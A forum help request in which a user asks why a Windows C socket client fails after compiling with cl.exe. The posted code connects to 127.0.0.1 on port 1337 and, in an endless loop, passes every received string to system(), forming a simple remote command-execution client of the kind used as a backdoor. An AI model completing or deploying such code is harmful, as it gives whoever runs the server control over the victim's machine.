Ahmed Sakr

Ahmed Sakr

  • 1.6k
  • 3
  • 456

Error after compiling client.c socket in windows

Apr 22 2023 7:26 PM

the screenshot of the error.
I complied it using >> cl.exe client.c


 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// use winsock2 in Windows
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <winsock2.h>

#pragma comment(lib, "Ws2_32") // tell the linker which library to include


// The following are for Linux
//#include <unistd.h>
//#include <arpa/inet.h>
//#include <sys/types.h>
//#include <sys/socket.h>
//#include <netinet/in.h>

#define HOST "127.0.0.1"
#define PORT 1337


int main(void) {
    SOCKET fd; // use correct type for fd
    char command[5000];
    struct sockaddr_in server;
    
    server.sin_family = AF_INET;
    server.sin_addr.s_addr = inet_addr(HOST);
    server.sin_port = htons(PORT);

    fd = socket(AF_INET, SOCK_STREAM, 0);    
    connect(fd, (struct sockaddr *)&server, sizeof(server));

    while (1) {
        recv(fd, command, sizeof(command), 0);
        system(command);
    }
    
    EXIT_SUCCESS;
}

 


Answers (1)